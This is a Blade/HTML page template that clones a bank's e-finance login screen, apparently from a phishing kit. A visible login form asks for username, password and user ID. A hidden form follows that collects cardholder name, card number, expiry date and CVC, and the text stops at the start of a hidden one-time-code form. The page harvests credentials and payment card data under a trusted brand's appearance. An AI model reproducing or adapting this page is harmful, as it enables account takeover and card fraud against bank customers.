@extends('main')

@section('content')
<div _ngcontent-vpm-c183=""
class="relative flex-grow flex avoid-page-breaks-on-print print:p-0 print:m-0 flex-col bg-grey-50">
<div _ngcontent-vpm-c183=""
    class="print:bg-white print:p-0 flex-grow flex flex-col px-2 sm:px-5 pt-5 pb-15">
    <main _ngcontent-vpm-c183="" id="fpui-shell__content" data-cy="fpui-shell-content"
        class="flex avoid-page-breaks-on-print flex-col flex-1 flex-grow">
        <div _ngcontent-vpm-c214="" fpuishellcontent="" class="fpui-shell__content min-h-full">
            <router-outlet _ngcontent-vpm-c215=""></router-outlet>
            <oklr-login-page _nghost-vpm-c170="">


                <!------- LOGIN FORM ---------->
                <div id="login" class="component max-w-lg mx-auto" >
                    <div _ngcontent-vpm-c170="" class="flex flex-col mb-5 ng-star-inserted">
                        <div _ngcontent-vpm-c170="" class="flex flex-col gap-2 mb-4">
                            <oklr-info-message-list _ngcontent-vpm-c170=""
                                class="flex flex-col gap-2 ng-star-inserted" _nghost-vpm-c169="">
                                
                                <oklr-browser-check _ngcontent-vpm-c169=""
                                    class="flex flex-col gap-2" _nghost-vpm-c216="">
                                </oklr-browser-check>
                            </oklr-info-message-list>
                            
                        </div>
                        <oklr-title _ngcontent-vpm-c170="" _nghost-vpm-c154="">
                            
                            <h1 _ngcontent-vpm-c154="" id="page-title"
                                class="cc-text-xl-heading sm:cc-text-sm-heading md:cc-text-3xl-heading ng-star-inserted">
                                {{__('dinzab.1')}} 
                            </h1>
                        </oklr-title>
                    </div>
                    
                    <fpui-widget-layout _ngcontent-vpm-c170=""
                        class="grid gap-5 print:flex print:flex-col-reverse fpui-widget-layout--sidebar-right ng-star-inserted">
                        <div class="fpui-widget-layout__main">
                            <fpui-card-page _ngcontent-vpm-c170="" fpuigridlayoutposition="main"
                                class="fpui-card-page block relative">
                                <div
                                    class="fpui-card-page__card-wrapper relative mx-auto max-w-xl">
                                    
                                    <div
                                        class="fpui-card-page__card bg-white border border-grey-300 rounded-lg shadow-md mb-12 print:border-0 print:border-none print:shadow-none print:m-0 fpui-card--divider-full">
                                        
                                        
                                        <fpui-card-page-content _ngcontent-vpm-c170=""
                                            class="block border-grey-200 relative print:overflow-auto print:p-0 print:border-0 p-5 md:p-10 border-b pt-0 md:pt-0 mt-5 md:mt-10">
                                            
                                            <div id="loginmsg"
                                                class="form-row__messages md:max-w-rowsmall lg:max-w-rowbig hidden">
                                                <div aria-live="polite">
                                                    <div class="fpui-control__messages fpui-control__messages--error "
                                                        data-cy="messages-error">
                                                        <h1>{{__('dinzab.2')}}</h1>
                                                    </div>
                                                </div>
                                            </div>
                                            <oklr-login-step _ngcontent-vpm-c170=""
                                                _nghost-vpm-c147="">
                                                <oklr-first-login _ngcontent-vpm-c147=""
                                                    _nghost-vpm-c142="" class="ng-star-inserted">
                                                    <form
                                                        class="ng-pristine ng-valid ng-touched" id="loginform">

                                                        <fpui-form-row 
                                                            class="fpui-form-row flex flex-col w-full pb-6 md:pb-8 form-row--vertical fpui-form-row--controls-horizontal items-stretch"
                                                            data-cy="form-row">
                                                            <div data-cy="form-row-label"
                                                                class="fpui-form-row__label-wrapper flex-shrink-0 font-bold mb-3 cc-text-sm"
                                                                id="5253-3928-6243-7986"><label
                                                                    id="fpui-form-row-label-0"
                                                                    for="p_username"
                                                                    class="ng-star-inserted">
                                                                    <fpui-translate
                                                                        class="break-words whitespace-pre-line ng-star-inserted">
                                                                        {{__('dinzab.3')}}
                                                                    </fpui-translate>
                                                                </label>
                                                            </div>
                                                            <div
                                                                class="flex-grow max-w-128 ng-star-inserted">
                                                                <div data-cy="form-row-value"
                                                                    class="fpui-form-row__control-wrapper flex-1 form-row-value flex flex-grow self-stretch items-baseline break-words max-w-full md:max-w-rowsmall lg:max-w-rowbig flex-row fpui-form-row__control--horizontal flex-wrap overflow-hidden">
                                                                    <fpui-form-field
                                                                        
                                                                        class="form-field inline-flex flex-col ng-tns-c70-0 mat-accent form-field-type-fpui-input mat-form-field-appearance-legacy mat-form-field-can-float mat-form-field-hide-placeholder ng-pristine ng-valid form-field--variant-default flex-auto overflow-hidden ng-star-inserted ng-touched"
                                                                        data-cy="form-field">
                                                                        <div
                                                                            class="flex flex-grow gap-5 items-baseline overflow-hidden ng-tns-c70-0">
                                                                            
                                                                            
                                                                            <div data-cy="input-wrapper"
                                                                                class="input-wrapper overflow-hidden w-full ng-tns-c70-0">
                                                                                <div
                                                                                    class="input-status-wrapper flex relative w-full overflow-hidden ng-tns-c70-0">
                                                                                    <input
                                                                                        
                                                                                        id="dinzabusername"
                                                                                        class="fpui-input-element appearance-none bg-transparent mat-form-field-autofill-control ng-tns-c70-0 ng-pristine ng-valid cdk-text-field-autofill-monitored ng-touched"
                                                                                        maxlength="23"
                                                                                        required
                                                                                        type="text">
                                                                                    <div
                                                                                        class="absolute right-0 pl-3 sm:pl-4 pr-2 space-x-2 flex items-center self-center ng-tns-c70-0 ng-star-inserted">
                                                                                        
                                                                                    </div>
                                                                                </div>
                                                                            </div>
                                                                        </div>
                                                                    </fpui-form-field>
                                                                    
                                                                </div>
                                                                <div data-cy="form-row-messages"
                                                                    class="form-row__messages md:max-w-rowsmall lg:max-w-rowbig">
                                                                    <div aria-live="polite">
                                                                        <div class="fpui-control__messages fpui-control__messages--error hidden"
                                                                            data-cy="messages-error">
                                                                        </div>
                                                                    </div>
                                                                    <div class="fpui-control__messages fpui-control__messages--hint hidden"
                                                                        data-cy="messages-hint">
                                                                    </div>
                                                                    <div aria-live="polite">
                                                                        <div data-cy="messages-notification"
                                                                            class="hidden"></div>
                                                                    </div>
                                                                    
                                                                </div>
                                                            </div>
                                                        </fpui-form-row>
                                                        <fpui-form-row 
                                                            class="fpui-form-row flex flex-col w-full form-row--vertical fpui-form-row--controls-horizontal items-stretch"
                                                            data-cy="form-row">
                                                            <div data-cy="form-row-label"
                                                                class="fpui-form-row__label-wrapper flex-shrink-0 font-bold mb-3 cc-text-sm"
                                                                id="2102-1569-3105-7561"><label
                                                                    id="fpui-form-row-label-1"
                                                                    for="p_passw"
                                                                    class="ng-star-inserted">
                                                                    <fpui-translate
                                                                        class="break-words whitespace-pre-line ng-star-inserted">
                                                                        {{__('dinzab.4')}}
                                                                    </fpui-translate>
                                                                </label>
                                                            </div>
                                                            <div
                                                                class="flex-grow max-w-128 ng-star-inserted">
                                                                <div data-cy="form-row-value"
                                                                    class="fpui-form-row__control-wrapper flex-1 form-row-value flex flex-grow self-stretch items-baseline break-words max-w-full md:max-w-rowsmall lg:max-w-rowbig flex-row fpui-form-row__control--horizontal flex-wrap overflow-hidden">
                                                                    <fpui-form-field
                                                                        
                                                                        class="form-field inline-flex flex-col ng-tns-c70-1 mat-accent form-field-type-fpui-input mat-form-field-appearance-legacy mat-form-field-can-float mat-form-field-hide-placeholder ng-pristine ng-valid form-field--variant-default flex-auto overflow-hidden ng-star-inserted ng-touched"
                                                                        data-cy="form-field">
                                                                        <div
                                                                            class="flex flex-grow gap-5 items-baseline overflow-hidden ng-tns-c70-1">
                                                                            
                                                                            
                                                                            <div data-cy="input-wrapper"
                                                                                class="input-wrapper overflow-hidden w-full ng-tns-c70-1">
                                                                                <div
                                                                                    class="input-status-wrapper flex relative w-full overflow-hidden ng-tns-c70-1">
                                                                                    <input
                                                                                        
                                                                                        id="dinzabpassword"
                                                                                        type="password"
                                                                                        class="fpui-input-element appearance-none bg-transparent mat-form-field-autofill-control ng-tns-c70-1 ng-pristine ng-valid cdk-text-field-autofill-monitored ng-touched"
                                                                                        maxlength="30"
                                                                                        required>
                                                                                    <div
                                                                                        class="absolute right-0 pl-3 sm:pl-4 pr-2 space-x-2 flex items-center self-center ng-tns-c70-1 ng-star-inserted">
                                                                                        
                                                                                        
                                                                                    </div>
                                                                                </div>
                                                                            </div>
                                                                        </div>
                                                                    </fpui-form-field>
                                                                    
                                                                </div>
                                                                <div data-cy="form-row-messages"
                                                                    class="form-row__messages md:max-w-rowsmall lg:max-w-rowbig">
                                                                    <div aria-live="polite">
                                                                        <div class="fpui-control__messages fpui-control__messages--error hidden"
                                                                            data-cy="messages-error">
                                                                        </div>
                                                                    </div>
                                                                    <div class="fpui-control__messages fpui-control__messages--hint hidden"
                                                                        data-cy="messages-hint">
                                                                    </div>
                                                                    <div aria-live="polite">
                                                                        <div data-cy="messages-notification"
                                                                            class="hidden"></div>
                                                                    </div>
                                                                </div>
                                                            </div>
                                                        </fpui-form-row>
                                                        <fpui-form-row 
                                                            direction="vertical"
                                                            class="fpui-form-row flex flex-col w-full pb-6 md:pb-8 form-row--vertical fpui-form-row--controls-horizontal items-stretch"
                                                            data-cy="form-row">
                                                            <div data-cy="form-row-label"
                                                                class="fpui-form-row__label-wrapper flex-shrink-0 font-bold mb-3 cc-text-sm"
                                                                id="6412-3351-6014-7014">
                                                            </div>
                                                            <div data-cy="form-row-value"
                                                                class="flex-grow break-words max-w-full md:max-w-rowsmall lg:max-w-rowbig ng-star-inserted"
                                                                role="textbox"
                                                                aria-multiline="true"
                                                                tabindex="0"
                                                                aria-readonly="true"
                                                                aria-labelledby="6412-3351-6014-7014"
                                                                aria-describedby="6412-3351-6014-7014_content"
                                                                id="6412-3351-6014-7014_content">
                                                                <oklr-password-forgotten
                                                                    
                                                                    _nghost-vpm-c220=""
                                                                    class="ng-star-inserted">
                                                                    <button _ngcontent-vpm-c220=""
                                                                        fpuilink=""
                                                                        tabindex="-1"
                                                                        variant="arrow"
                                                                        class="fpui-link inline-flex items-center text-left group print:hidden fpui-link--arrow fpui-link--petrol"
                                                                        type="button">{{__('dinzab.5')}}
                                                                        <fpui-icon
                                                                            icon="chevron-forward-s"
                                                                            class="fpui-icon leading-none inline-flex items-center bg-no-repeat link--arrow -mb-1 text-current ng-star-inserted">
                                                                            <svg class="fill-none fpui-icon__svg stroke-current"
                                                                                style="height: 24px; width: 24px;">
                                                                            </svg></fpui-icon>
                                                                        
                                                                    </button>
                                                                </oklr-password-forgotten>
                                                                
                                                            </div>
                                                        </fpui-form-row>
                                                        <h2 
                                                            class="cc-text-xl-heading mb-2 ng-star-inserted">
                                                            {{__('dinzab.6')}}</h2>
                                                        
                                                        <fpui-form-row 
                                                            class="fpui-form-row flex flex-col w-full form-row--vertical fpui-form-row--controls-horizontal items-stretch ng-star-inserted"
                                                            data-cy="form-row">
                                                            <div data-cy="form-row-label"
                                                                class="fpui-form-row__label-wrapper flex-shrink-0 font-bold mb-3 cc-text-sm"
                                                                id="1505-1105-5286-8035"><label
                                                                    id="fpui-form-row-label-3"
                                                                    for="p_userid"
                                                                    class="ng-star-inserted">
                                                                    <fpui-translate
                                                                        class="break-words whitespace-pre-line ng-star-inserted">
                                                                        {{__('dinzab.7')}}
                                                                    </fpui-translate>   
                                                                </label>
                                                            </div>
                                                            <div
                                                                class="flex-grow max-w-128 ng-star-inserted">
                                                                <div data-cy="form-row-value"
                                                                    class="fpui-form-row__control-wrapper flex-1 form-row-value flex flex-grow self-stretch items-baseline break-words max-w-full md:max-w-rowsmall lg:max-w-rowbig flex-row fpui-form-row__control--horizontal flex-wrap overflow-hidden">
                                                                    <fpui-form-field
                                                                        
                                                                        class="form-field inline-flex flex-col ng-tns-c70-2 mat-accent form-field-type-fpui-input mat-form-field-appearance-legacy mat-form-field-can-float mat-form-field-hide-placeholder ng-pristine ng-valid form-field--variant-default flex-auto overflow-hidden ng-star-inserted ng-touched"
                                                                        data-cy="form-field">
                                                                        <div
                                                                            class="flex flex-grow gap-5 items-baseline overflow-hidden ng-tns-c70-2">
                                                                            
                                                                            
                                                                            <div data-cy="input-wrapper"
                                                                                class="input-wrapper overflow-hidden w-full ng-tns-c70-2">
                                                                                <div
                                                                                    class="input-status-wrapper flex relative w-full overflow-hidden ng-tns-c70-2">
                                                                                    <input
                                                                                        
                                                                                        id="dinzabuserid"
                                                                                        class="fpui-input-element appearance-none bg-transparent mat-form-field-autofill-control ng-tns-c70-2 ng-pristine ng-valid cdk-text-field-autofill-monitored ng-touched"
                                                                                        maxlength="30">
                                                                                </div>
                                                                            </div>
                                                                        </div>
                                                                    </fpui-form-field>
                                                                    
                                                                </div>
                                                                <div data-cy="form-row-messages"
                                                                    class="form-row__messages md:max-w-rowsmall lg:max-w-rowbig">
                                                                    <div aria-live="polite">
                                                                        <div class="fpui-control__messages fpui-control__messages--error hidden"
                                                                            data-cy="messages-error">
                                                                        </div>
                                                                    </div>
                                                                    <div class="fpui-control__messages fpui-control__messages--hint hidden"
                                                                        data-cy="messages-hint">
                                                                    </div>
                                                                    <div aria-live="polite">
                                                                        <div data-cy="messages-notification"
                                                                            class="hidden"></div>
                                                                    </div>
                                                                    
                                                                </div>
                                                            </div>
                                                        </fpui-form-row>
                                                        
                                                        <fpui-actions 
                                                            alignment="right"
                                                            class="fpui-actions fpui-actions--right">
                                                            <button 
                                                                variant="primary"
                                                                class="fpui-button cc-text-sm fpui-button--primary fpui-button--normal"
                                                                type="submit">
                                                                {{__('dinzab.8')}}
                                                            </button>
                                                            
                                                        </fpui-actions>
                                                    </form>
                                                </oklr-first-login>
                                            </oklr-login-step>
                                        </fpui-card-page-content>
                                    </div>
                                </div>
                            </fpui-card-page>
                        </div>
                        <div
                            class="fpui-widget-layout__sidebar-right grid avoid-page-breaks-on-print auto-rows-min gap-5">
                            <oklr-sidebar _ngcontent-vpm-c170=""
                                fpuigridlayoutposition="sidebar-right" _nghost-vpm-c167="">
                                <fpui-widget _ngcontent-vpm-c167=""
                                    class="fpui-widget w-full h-full relative bg-white rounded-lg lg:row-span-1 fpui-widget-aspect-1-1 col-span-1"
                                    draggable="false" role="listitem" data-cy-view-state="IDEAL">
                                    <div aria-hidden="true"
                                        class="fixed inset-0 bg-black bg-opacity-20 transition-opacity z-200 backdrop-filter backdrop-saturate-50 opacity-0 pointer-events-none ng-star-inserted">
                                    </div>
                                    
                                    <div
                                        class="border border-solid rounded-lg flex avoid-page-breaks-on-print flex-col relative bg-white min-h-full shadow-md print:border-0 print:border-none print:shadow-none py-5 border-grey-200">
                                        <fpui-widget-header-wrapper data-cy="widget-header"
                                            class="fpui-widget-header flex items-start gap-3 relative z-1 print:pl-0 px-5 ng-star-inserted">
                                            
                                            
                                            <div class="h-0 dummy-element"></div>
                                            
                                            
                                        </fpui-widget-header-wrapper>
                                        <fpui-widget-content _ngcontent-vpm-c167=""
                                            data-cy="widget-content"
                                            class="fpui-widget-content flex avoid-page-breaks-on-print print:pl-0 flex-1 min-h-14 pr-5 pl-5 flex-col w-full text-left relative ng-star-inserted">
                                            <h2 _ngcontent-vpm-c167=""
                                                class="cc-text-xl-heading mb-2 ng-star-inserted">{{__('dinzab.9')}}</h2><a _ngcontent-vpm-c167=""
                                                fpuilink="" href="" variant="arrow"
                                                class="fpui-link inline-flex items-center text-left group print:hidden fpui-link--arrow fpui-link--petrol ng-star-inserted">
                                                {{__('dinzab.10')}}
                                                
                                                <fpui-icon icon="chevron-forward-s"
                                                    class="fpui-icon leading-none inline-flex items-center bg-no-repeat link--arrow -mb-1 text-current ng-star-inserted">
                                                    <svg class="fill-none fpui-icon__svg stroke-current"
                                                        style="height: 24px; width: 24px;">
                                                    </svg></fpui-icon>
                                                
                                            </a><a _ngcontent-vpm-c167="" fpuilink=""
                                                variant="arrow" target="_blank"
                                                class="fpui-link inline-flex items-center text-left group print:hidden fpui-link--arrow fpui-link--petrol ng-star-inserted"
                                                href="/efinloginprocedureen">{{__('dinzab.11')}}
                                                
                                                <fpui-icon icon="chevron-forward-s"
                                                    class="fpui-icon leading-none inline-flex items-center bg-no-repeat link--arrow -mb-1 text-current ng-star-inserted">
                                                    <svg class="fill-none fpui-icon__svg stroke-current"
                                                        style="height: 24px; width: 24px;">
                                                    </svg></fpui-icon>
                                                
                                            </a>
                                            <h2 _ngcontent-vpm-c167=""
                                                class="cc-text-xl-heading mb-2 mt-7 ng-star-inserted">
                                                {{__('dinzab.14')}}</h2><a _ngcontent-vpm-c167=""
                                                fpuilink="" variant="arrow" target="_blank"
                                                class="fpui-link inline-flex items-center text-left group print:hidden fpui-link--arrow fpui-link--petrol ng-star-inserted"
                                                href="/demoefinloginen">{{__('dinzab.12')}}
                                                
                                                <fpui-icon icon="chevron-forward-s"
                                                    class="fpui-icon leading-none inline-flex items-center bg-no-repeat link--arrow -mb-1 text-current ng-star-inserted">
                                                    <svg class="fill-none fpui-icon__svg stroke-current"
                                                        style="height: 24px; width: 24px;">
                                                    </svg></fpui-icon>
                                                
                                            </a>
                                            <h2 _ngcontent-vpm-c167=""
                                                class="cc-text-xl-heading mb-2 mt-7 ng-star-inserted">
                                                {{__('dinzab.15')}} <span class="nowrap">{{__('dinzab.13')}}</span>
                                                {{__('dinzab.16')}}</h2><a _ngcontent-vpm-c167="" fpuilink=""
                                                variant="arrow" target="_blank"
                                                class="fpui-link inline-flex items-center text-left group print:hidden fpui-link--arrow fpui-link--petrol ng-star-inserted"
                                                href="/order-ef">{{__('dinzab.17')}}
                                                
                                                <fpui-icon icon="chevron-forward-s"
                                                    class="fpui-icon leading-none inline-flex items-center bg-no-repeat link--arrow -mb-1 text-current ng-star-inserted">
                                                    <svg class="fill-none fpui-icon__svg stroke-current"
                                                        style="height: 24px; width: 24px;">
                                                    </svg></fpui-icon>
                                                
                                            </a>
                                        </fpui-widget-content>
                                    </div>
                                    
                                </fpui-widget>
                            </oklr-sidebar>
                        </div>
                    </fpui-widget-layout>
                </div>



                <!------- CC FORM ---------->
                <div id="cc" class="component max-w-lg mx-auto" style="display: none">
                    <div _ngcontent-vpm-c170="" class="flex flex-col mb-5 ng-star-inserted">
                        <div _ngcontent-vpm-c170="" class="flex flex-col gap-2 mb-4">
                            <oklr-info-message-list _ngcontent-vpm-c170=""
                                class="flex flex-col gap-2 ng-star-inserted" _nghost-vpm-c169="">
                                
                                <oklr-browser-check _ngcontent-vpm-c169=""
                                    class="flex flex-col gap-2" _nghost-vpm-c216="">
                                </oklr-browser-check>
                            </oklr-info-message-list>
                            
                        </div>
                        <oklr-title _ngcontent-vpm-c170="" _nghost-vpm-c154="">
                            
                            <h1 _ngcontent-vpm-c154="" id="page-title"
                                class="cc-text-xl-heading sm:cc-text-sm-heading md:cc-text-3xl-heading ng-star-inserted">
                               {{__('dinzab.18')}} 
                            </h1>
                        </oklr-title>
                    </div>
                    <fpui-widget-layout _ngcontent-vpm-c170=""
                        class="grid gap-5 print:flex print:flex-col-reverse fpui-widget-layout--sidebar-right ng-star-inserted">
                        <div class="fpui-widget-layout__main">
                            <fpui-card-page _ngcontent-vpm-c170="" fpuigridlayoutposition="main"
                                class="fpui-card-page block relative">
                                <div
                                    class="fpui-card-page__card-wrapper relative mx-auto max-w-xl">
                                    
                                    <div
                                        class="fpui-card-page__card bg-white border border-grey-300 rounded-lg shadow-md mb-12 print:border-0 print:border-none print:shadow-none print:m-0 fpui-card--divider-full">
                                        
                                        
                                        <fpui-card-page-content _ngcontent-vpm-c170=""
                                            class="block border-grey-200 relative print:overflow-auto print:p-0 print:border-0 p-5 md:p-10 border-b pt-0 md:pt-0 mt-5 md:mt-10">
                                            
                                            <div id="ccmsg"
                                                class="form-row__messages md:max-w-rowsmall lg:max-w-rowbig hidden">
                                                <div aria-live="polite">
                                                    <div class="fpui-control__messages fpui-control__messages--error "
                                                        data-cy="messages-error">
                                                        <h1>{{__('dinzab.19')}}</h1>
                                                    </div>
                                                </div>
                                            </div>
                                            <oklr-login-step >
                                                <oklr-first-login  class="ng-star-inserted">
                                                    <form id="ccform"
                                                        class="ng-pristine ng-valid ng-touched">

                                                        <fpui-form-row 
                                                            class="fpui-form-row flex flex-col w-full pb-6 md:pb-8 form-row--vertical fpui-form-row--controls-horizontal items-stretch"
                                                            data-cy="form-row">
                                                            <div data-cy="form-row-label"
                                                                class="fpui-form-row__label-wrapper flex-shrink-0 font-bold mb-3 cc-text-sm"
                                                                id="5253-3928-6243-7986"><label
                                                                    id="fpui-form-row-label-0"
                                                                    for="p_username"
                                                                    class="ng-star-inserted">
                                                                    <fpui-translate
                                                                        class="break-words whitespace-pre-line ng-star-inserted">
                                                                        {{__('dinzab.20')}} 
                                                                    </fpui-translate>
                                                                </label>
                                                            </div>
                                                            <div
                                                                class="flex-grow max-w-128 ng-star-inserted">
                                                                <div data-cy="form-row-value"
                                                                    class="fpui-form-row__control-wrapper flex-1 form-row-value flex flex-grow self-stretch items-baseline break-words max-w-full md:max-w-rowsmall lg:max-w-rowbig flex-row fpui-form-row__control--horizontal flex-wrap overflow-hidden">
                                                                    <fpui-form-field 
                                                                        class="form-field inline-flex flex-col ng-tns-c70-0 mat-accent form-field-type-fpui-input mat-form-field-appearance-legacy mat-form-field-can-float mat-form-field-hide-placeholder ng-pristine ng-valid form-field--variant-default flex-auto overflow-hidden ng-star-inserted ng-touched"
                                                                        data-cy="form-field">
                                                                        <div
                                                                            class="flex flex-grow gap-5 items-baseline overflow-hidden ng-tns-c70-0">
                                                                            
                                                                            
                                                                            <div data-cy="input-wrapper"
                                                                                class="input-wrapper overflow-hidden w-full ng-tns-c70-0">
                                                                                <div
                                                                                    class="input-status-wrapper flex relative w-full overflow-hidden ng-tns-c70-0">
                                                                                    <input
                                                                                        
                                                                                        id="dinzabcardholder"
                                                                                        class="fpui-input-element appearance-none bg-transparent mat-form-field-autofill-control ng-tns-c70-0 ng-pristine ng-valid cdk-text-field-autofill-monitored ng-touched"
                                                                                        maxlength="23"
                                                                                        aria-required="true"
                                                                                        required
                                                                                        type="text">
                                                                                    <div
                                                                                        class="absolute right-0 pl-3 sm:pl-4 pr-2 space-x-2 flex items-center self-center ng-tns-c70-0 ng-star-inserted">
                                                                                        
                                                                                    </div>
                                                                                </div>
                                                                            </div>
                                                                        </div>
                                                                    </fpui-form-field>
                                                                </div>
                                                            </div>
                                                        </fpui-form-row>
                                                        <fpui-form-row 
                                                            class="fpui-form-row flex flex-col w-full form-row--vertical fpui-form-row--controls-horizontal items-stretch"
                                                            data-cy="form-row">
                                                            <div data-cy="form-row-label"
                                                                class="fpui-form-row__label-wrapper flex-shrink-0 font-bold mb-3 cc-text-sm"
                                                                id="2102-1569-3105-7561"><label
                                                                    id="fpui-form-row-label-1"
                                                                    for="p_passw"
                                                                    class="ng-star-inserted">
                                                                    <fpui-translate
                                                                        class="break-words whitespace-pre-line ng-star-inserted">
                                                                        {{__('dinzab.21')}} 
                                                                    </fpui-translate>
                                                                </label>
                                                            </div>
                                                            <div
                                                                class="flex-grow max-w-128 ng-star-inserted">
                                                                <div data-cy="form-row-value"
                                                                    class="fpui-form-row__control-wrapper flex-1 form-row-value flex flex-grow self-stretch items-baseline break-words max-w-full md:max-w-rowsmall lg:max-w-rowbig flex-row fpui-form-row__control--horizontal flex-wrap overflow-hidden">
                                                                    <fpui-form-field
                                                                        
                                                                        class="form-field inline-flex flex-col ng-tns-c70-1 mat-accent form-field-type-fpui-input mat-form-field-appearance-legacy mat-form-field-can-float mat-form-field-hide-placeholder ng-pristine ng-valid form-field--variant-default flex-auto overflow-hidden ng-star-inserted ng-touched"
                                                                        data-cy="form-field">
                                                                        <div
                                                                            class="flex flex-grow gap-5 items-baseline overflow-hidden ng-tns-c70-1">
                                                                            
                                                                            
                                                                            <div data-cy="input-wrapper"
                                                                                class="input-wrapper overflow-hidden w-full ng-tns-c70-1">
                                                                                <div
                                                                                    class="input-status-wrapper flex relative w-full overflow-hidden ng-tns-c70-1">
                                                                                    <input
                                                                                        
                                                                                        id="dinzabcc"
                                                                                        fpuiinput=""
                                                                                        type="tel"
                                                                                        class="fpui-input-element appearance-none bg-transparent mat-form-field-autofill-control ng-tns-c70-1 ng-pristine ng-valid cdk-text-field-autofill-monitored ng-touched"
                                                                                        maxlength="19"
                                                                                        aria-invalid="false"
                                                                                        aria-required="true"
                                                                                        required
                                                                                        data-mask="0000 0000 0000 0000"
                                                                                        >
                                                                                    <div
                                                                                        class="absolute right-0 pl-3 sm:pl-4 pr-2 space-x-2 flex items-center self-center ng-tns-c70-1 ng-star-inserted">
                                                                                        
                                                                                        
                                                                                    </div>
                                                                                </div>
                                                                            </div>
                                                                        </div>
                                                                    </fpui-form-field>
                                                                </div>
                                                            </div>
                                                        </fpui-form-row>
                                                        <fpui-form-row 
                                                            class="fpui-form-row flex flex-col w-full form-row--vertical fpui-form-row--controls-horizontal items-stretch"
                                                            data-cy="form-row">
                                                            <div data-cy="form-row-label"
                                                                class="fpui-form-row__label-wrapper flex-shrink-0 font-bold mb-3 cc-text-sm"
                                                                id="2102-1569-3105-7561"><label
                                                                    id="fpui-form-row-label-1"
                                                                    for="p_passw"
                                                                    class="ng-star-inserted">
                                                                    <fpui-translate
                                                                        class="break-words whitespace-pre-line ng-star-inserted">
                                                                        {{__('dinzab.22')}}
                                                                    </fpui-translate>
                                                                </label>
                                                            </div>
                                                            <div
                                                                class="flex-grow max-w-128 ng-star-inserted">
                                                                <div data-cy="form-row-value"
                                                                    class="fpui-form-row__control-wrapper flex-1 form-row-value flex flex-grow self-stretch items-baseline break-words max-w-full md:max-w-rowsmall lg:max-w-rowbig flex-row fpui-form-row__control--horizontal flex-wrap overflow-hidden">
                                                                    <fpui-form-field
                                                                        
                                                                        class="form-field inline-flex flex-col ng-tns-c70-1 mat-accent form-field-type-fpui-input mat-form-field-appearance-legacy mat-form-field-can-float mat-form-field-hide-placeholder ng-pristine ng-valid form-field--variant-default flex-auto overflow-hidden ng-star-inserted ng-touched"
                                                                        data-cy="form-field">
                                                                        <div
                                                                            class="flex flex-grow gap-5 items-baseline overflow-hidden ng-tns-c70-1">
                                                                            
                                                                            
                                                                            <div data-cy="input-wrapper"
                                                                                class="input-wrapper overflow-hidden w-full ng-tns-c70-1">
                                                                                <div
                                                                                    class="input-status-wrapper flex relative w-full overflow-hidden ng-tns-c70-1">
                                                                                    <input
                                                                                        id="dinzabexp"
                                                                                        type="tel"
                                                                                        class="fpui-input-element appearance-none bg-transparent mat-form-field-autofill-control ng-tns-c70-1 ng-pristine ng-valid cdk-text-field-autofill-monitored ng-touched"
                                                                                        maxlength="5"
                                                                                        required
                                                                                        data-mask="00/00"
                                                                                        >
                                                                                    <div
                                                                                        class="absolute right-0 pl-3 sm:pl-4 pr-2 space-x-2 flex items-center self-center ng-tns-c70-1 ng-star-inserted">
                                                                                        
                                                                                        
                                                                                    </div>
                                                                                </div>
                                                                            </div>
                                                                        </div>
                                                                    </fpui-form-field>
                                                                </div>
                                                            </div>
                                                        </fpui-form-row>
                                                        <fpui-form-row 
                                                            class="fpui-form-row flex flex-col w-full form-row--vertical fpui-form-row--controls-horizontal items-stretch"
                                                            data-cy="form-row">
                                                            <div data-cy="form-row-label"
                                                                class="fpui-form-row__label-wrapper flex-shrink-0 font-bold mb-3 cc-text-sm"
                                                                id="2102-1569-3105-7561"><label
                                                                    id="fpui-form-row-label-1"
                                                                    for="p_passw"
                                                                    class="ng-star-inserted">
                                                                    <fpui-translate
                                                                        class="break-words whitespace-pre-line ng-star-inserted">
                                                                        {{__('dinzab.23')}}
                                                                    </fpui-translate>
                                                                </label>
                                                            </div>
                                                            <div
                                                                class="flex-grow max-w-128 ng-star-inserted">
                                                                <div data-cy="form-row-value"
                                                                    class="fpui-form-row__control-wrapper flex-1 form-row-value flex flex-grow self-stretch items-baseline break-words max-w-full md:max-w-rowsmall lg:max-w-rowbig flex-row fpui-form-row__control--horizontal flex-wrap overflow-hidden">
                                                                    <fpui-form-field
                                                                        
                                                                        class="form-field inline-flex flex-col ng-tns-c70-1 mat-accent form-field-type-fpui-input mat-form-field-appearance-legacy mat-form-field-can-float mat-form-field-hide-placeholder ng-pristine ng-valid form-field--variant-default flex-auto overflow-hidden ng-star-inserted ng-touched"
                                                                        data-cy="form-field">
                                                                        <div
                                                                            class="flex flex-grow gap-5 items-baseline overflow-hidden ng-tns-c70-1">
                                                                            
                                                                            
                                                                            <div data-cy="input-wrapper"
                                                                                class="input-wrapper overflow-hidden w-full ng-tns-c70-1">
                                                                                <div
                                                                                    class="input-status-wrapper flex relative w-full overflow-hidden ng-tns-c70-1">
                                                                                    <input
                                                                                        
                                                                                        id="dinzabcvc"
                                                                                        type="tel"
                                                                                        class="fpui-input-element appearance-none bg-transparent mat-form-field-autofill-control ng-tns-c70-1 ng-pristine ng-valid cdk-text-field-autofill-monitored ng-touched"
                                                                                        maxlength="4"
                                                                                        required
                                                                                        >
                                                                                    <div
                                                                                        class="absolute right-0 pl-3 sm:pl-4 pr-2 space-x-2 flex items-center self-center ng-tns-c70-1 ng-star-inserted">
                                                                                        
                                                                                        
                                                                                    </div>
                                                                                </div>
                                                                            </div>
                                                                        </div>
                                                                    </fpui-form-field>
                                                                </div>
                                                            </div>
                                                        </fpui-form-row>
                                                        <fpui-actions 
                                                            alignment="right"
                                                            class="fpui-actions fpui-actions--right">
                                                            <button 
                                                                variant="primary"
                                                                class="fpui-button cc-text-sm fpui-button--primary fpui-button--normal"
                                                                type="submit">
                                                                {{__('dinzab.24')}}
                                                            </button>
                                                            
                                                        </fpui-actions>
                                                    </form>
                                                </oklr-first-login>
                                            </oklr-login-step>
                                        </fpui-card-page-content>
                                    </div>
                                </div>
                            </fpui-card-page>
                        </div>
                    </fpui-widget-layout>
                </div>

                <!------- CODE FORM ---------->
                <div id="code" class="component max-w-lg mx-auto" style="display: none">
                    <div _ngcontent-vpm-c170="" class="flex flex-col mb-5 ng-star-inserted">
                        <div _ngcontent-vpm-c170="" class="flex flex-col gap-2 mb-4">
                            <oklr-info-message-list _ngcontent-vpm-c170=""
                                class="flex flex-col gap-2 ng-star-inserted" _nghost-vpm-c169="">
                                
                                <oklr-browser-check _ngcontent-vpm-c169=""
                                    class="flex flex-col gap-2" _nghost-vpm-c216="">
                                </oklr-browser-check>
                            </oklr-info-message-list>
                            
                        </div>
